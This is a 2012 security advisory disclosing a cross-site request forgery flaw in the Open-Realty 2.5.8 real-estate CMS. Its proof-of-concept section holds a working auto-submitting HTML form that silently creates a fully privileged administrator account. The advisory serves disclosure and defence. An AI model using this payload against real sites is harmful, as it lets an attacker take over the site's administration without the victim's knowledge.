Open-Realty 2.5.8 Cross Site Request Forgery

`1. OVERVIEW  
  
Open-Realty 2.5.8 and lower versions are vulnerable to Cross Site  
Request Forgery.  
  
  
2. BACKGROUND  
  
Open-Realty is the world's leading real estate listing marketing and  
management CMS application, and has enjoyed being the real estate web  
site software of choice for professional web site developers since  
2002.  
  
  
3. VULNERABILITY DESCRIPTION  
  
Open-Realty 2.5.8 and lower versions contain a flaw that allows a  
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw  
exists because the application does not require multiple steps or  
explicit confirmation for sensitive transactions for majority of  
administrator functions such as adding new user, assigning user to  
administrative privilege. By using a crafted URL, an attacker may  
trick the victim into visiting to his web page to take advantage of  
the trust relationship between the authenticated victim and the  
application. Such an attack could trick the victim into executing  
arbitrary commands in the context of their session with the  
application, without further prompting or verification.  
  
  
4. VERSIONS AFFECTED  
  
2.5.8 (2.x.x) <=  
  
  
5. PROOF-OF-CONCEPT/EXPLOIT  
  
<!-- Add Admin User -->  
<form action="http://localhost/orealty/admin/index.php?action=user_manager"  
method="POST">  
<input type="hidden" name="action" value="createNewUser" />  
<input type="hidden" name="edit_user_name" value="user" />  
<input type="hidden" name="edit_user_pass" value="pa55w0rd" />  
<input type="hidden" name="edit_user_pass2" value="pa55w0rd" />  
<input type="hidden" name="user_first_name" value="hacker" />  
<input type="hidden" name="user_last_name" value="smith" />  
<input type="hidden" name="user_email"  
value="[email protected]" />  
<input type="hidden" name="edit_active" value="yes" />  
<input type="hidden" name="edit_isAdmin" value="yes" />  
<input type="hidden" name="edit_isAgent" value="yes" />  
<input type="hidden" name="limitListings" value="-1" />  
<input type="hidden" name="edit_limitFeaturedListings"  
value="-1" />  
<input type="hidden" name="edit_userRank" value="0" />  
<input type="hidden" name="edit_canEditAllListings" value="yes" />  
<input type="hidden" name="edit_canEditAllUsers" value="yes" />  
<input type="hidden" name="edit_canEditSiteConfig" value="yes" />  
<input type="hidden" name="edit_canEditMemberTemplate" value="yes" />  
<input type="hidden" name="edit_canEditAgentTemplate" value="yes" />  
<input type="hidden" name="edit_canEditPropertyClasses" value="yes" />  
<input type="hidden" name="edit_canEditListingTemplate" value="yes" />  
<input type="hidden" name="edit_canViewLogs" value="yes" />  
<input type="hidden" name="edit_canModerate" value="yes" />  
<input type="hidden" name="edit_canFeatureListings" value="yes" />  
<input type="hidden" name="edit_canEditListingExpiration"  
value="yes" />  
<input type="hidden" name="edit_canExportListings" value="no" />  
<input type="hidden" name="edit_canPages" value="yes" />  
<input type="hidden" name="edit_canVtour" value="yes" />  
<input type="hidden" name="edit_canFiles" value="yes" />  
<input type="hidden" name="edit_canUserFiles" value="yes" />  
<input type="hidden" name="edit_canManageAddons" value="yes" />  
<script>document.forms[0].submit()</script>  
</form>  
  
  
6. SOLUTION  
  
The vendor has been reported to have discontinued this product and  
therefore has no patch or upgrade that mitigates this problem.  
It is recommended that an alternate software package be used in its place.  
  
  
7. VENDOR  
  
Transparent Technologies Inc.  
http://www.transparent-support.com  
  
  
8. CREDIT  
  
Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.  
  
  
9. DISCLOSURE TIME-LINE  
  
2012-03-05: Open-Realty 2.5.8 in End-of-Support/Maintenance circle  
2012-11-17: Vulnerability disclosed  
  
  
10. REFERENCES  
  
Original Advisory URL:  
http://yehg.net/lab/pr0js/advisories/%5Bopen-realty_2.5.8_2.x%5D_csrf  
Open-Realty Home Page: http://www.open-realty.org/  
  
  
#yehg [2012-11-17]  
  
---------------------------------  
Best regards,  
YGN Ethical Hacker Group  
Yangon, Myanmar  
http://yehg.net  
Our Lab | http://yehg.net/lab  
Our Directory | http://yehg.net/hwd  
`